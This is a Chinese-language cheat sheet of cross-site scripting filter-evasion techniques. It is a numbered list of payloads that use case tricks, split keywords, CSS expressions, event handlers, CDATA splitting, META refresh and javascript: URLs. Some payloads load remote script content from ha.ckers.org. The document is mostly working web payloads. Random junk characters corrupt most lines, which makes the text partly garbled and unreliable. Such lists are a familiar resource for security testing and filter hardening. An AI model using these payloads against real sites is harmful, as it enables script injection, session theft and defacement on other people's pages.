1. 改变字符大小写
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; _. i" ?8 t& E3 X% B <sCript>alert(‘d’)</scRipT>
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+ u2 n% O( H9 J. M7 e! x; s2. 利用多加一些其它字符来规避Regular Expression的检查
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: N+ S9 O% T7 P) }! Z/ T <<script>alert(‘c’)//<</script>
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8 }/ C) w1 ^" J$ K+ v- l, l7 T, U <SCRIPT a=">" SRC="t.js"></SCRIPT>! ]6 w+ x/ J1 q/ A9 |1 b3 Z
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<SCRIPT =">" SRC="t.js"></SCRIPT>
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1 j( u% l+ z+ Q9 i <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
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8 ^( `; B5 o, m# }% z <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
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4 F! b0 S- q+ B <SCRIPT a=`>` SRC="t.js"></SCRIPT>9 W' s, b7 w/ B( [- b E1 ^+ f+ N, J
; ~( x) y' G3 W# ~* H3 e( E <SCRIPT a=">’>" SRC="t.js"></SCRIPT>& \& _3 {, \" y7 O: `' {, r$ U, M
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3. 以其它扩展名取代.js N' w8 S9 x) F, W4 O; f: C: L& S
; Y3 T+ L7 I7 A. L! K <script src="bad.jpg"></script>" W6 j# ]0 ~" V
" D) K% @5 W( c W# |$ b% s D. f4. 将Javascript写在CSS档里8 S. o1 ^ a u$ [# d1 x/ L
/ D4 P. ]9 I( X+ } <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">& m" G9 n% l, ~9 p3 X( x
0 X! ~/ J5 s& k) U example:( p' f5 n2 X) ~+ ^" [
+ K" T% `9 D' Y: | body {
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background-image: url(‘javascript:alert("XSS");’)% X) _* E) y) U6 J
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( `8 A" G! @ t; u* K" h/ r5. 在script的tag里加入一些其它字符5 `( V) f0 a5 z8 G( y5 T4 {- o. _
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<SCRIPT/SRC="t.js"></SCRIPT>- D( N, T! p" y! K) ?
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<SCRIPT/anyword SRC="t.js"></SCRIPT># f# v7 l4 i2 U6 D' p! ]
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6. 使用tab或是new line来规避
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<img src="jav ascr ipt:alert(‘XSS3′)">
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6 G1 x4 A! @& f0 N0 a% k <img src="jav ascr ipt:alert(‘XSS3′)">
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<IMG SRC="jav ascript:alert(‘XSS’);">9 J0 P2 G/ X8 G5 w) l" R8 h3 D
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-> new line, d. |' p$ v0 Q/ i0 D& ]1 q
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7. 使用"\"来规避
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2 M( m! R8 |, n! j6 h( [6 M: P <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
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9 O: E Q: i/ p7 `6 {" w- u$ K& L. g <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
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1 q3 W+ u" ]0 P' e! B <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
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5 M1 u$ x" a$ f# r9 z, m0 X9 P <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
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( `1 V. n" M) [ <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
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8. 使用Hex encode来规避(也可能会把";"拿掉)
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<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
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原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">; {( o" n% s# L7 U) q
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<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">1 g* R# G$ w1 C, P
1 G, Y1 M4 F; I 原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
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8 `, i" u9 \' E0 Y2 W+ x7 L9. script in HTML tag2 ?% B% v. R% W( J4 p
8 a( Q7 R$ j& E. Y( r8 q <body onload=」alert(‘onload’)」>
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+ n+ z# f- O M0 k2 [! a& H. g onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload* R( s+ P' k& F1 _2 J* k! @
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10. 在swf里含有xss的code" V+ F. R X* U1 J
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<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
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11. 利用CDATA将xss的code拆开,再组合起来。
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<XML ID=I><X><C>
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<![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>. w8 Y) n Q6 a$ Y/ }. {
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</C></X>: [# N; z4 p7 u; o4 g
$ d6 Z* W7 |0 m9 v$ E </xml>6 k: u/ h* i; `4 {
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<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>! }2 T1 w8 Z3 C, L, n: i: J0 d
8 K4 ~2 Z0 s6 b F, ?) K7 D <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>+ z/ z h4 N" Y. G& |( i/ O) {4 e: I
: h- ~# U: r: k# s <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>) b6 n& L' [8 O1 O- B: I) c
0 H6 W3 H: a; V; c. W' Y12. 利用HTML+TIME。! p1 J: Z9 \! ]8 y. \1 E
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<HTML><BODY>
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: ~5 l, M3 k5 t* ? <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
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<?import namespace="t" implementation="#default#time2">
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# |' c; X% e* @, B+ o <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
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# ?' K' ?3 l( q7 [9 [6 F* N# [ </BODY></HTML>
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/ G. K/ K9 W6 M# `1 V( X3 t: f$ G13. 透过META写入Cookie。
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& M- J0 Y9 ?: n+ C8 G <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
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: d' c2 o0 ?* `8 U Z14. javascript in src , href , url
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<IFRAME SRC=javascript:alert(’13′)></IFRAME>
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1 ^% I5 ~( \/ l) V. t; E, d4 h <img src="javascript:alert(‘XSS3′)">
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<IMG DYNSRC="javascript:alert(‘XSS20′)">6 }( W) b$ F$ x" Z1 g* d
* g: V1 Q% l- N( j2 O/ } <IMG LOWSRC="javascript:alert(‘XSS21′)">/ a* F2 } D+ J& u) S
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<LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">1 b% w8 r8 T H. G: v
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<IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>( [+ M" k+ m n$ E
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<TABLE BACKGROUND="javascript:alert(‘XSS29′)">
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<DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">6 ]8 V c* n) X r9 @) h9 e; P- V
( h# r+ q: P. U6 f) P9 } <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}) D; H8 ~0 g, y# [: \0 |
& S# r( y1 z; @# R. @ </STYLE><A CLASS=XSS></A>0 d. v* Z4 V1 M) H9 C
/ @7 ]) x" {0 ^' q% p \9 d5 ` <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
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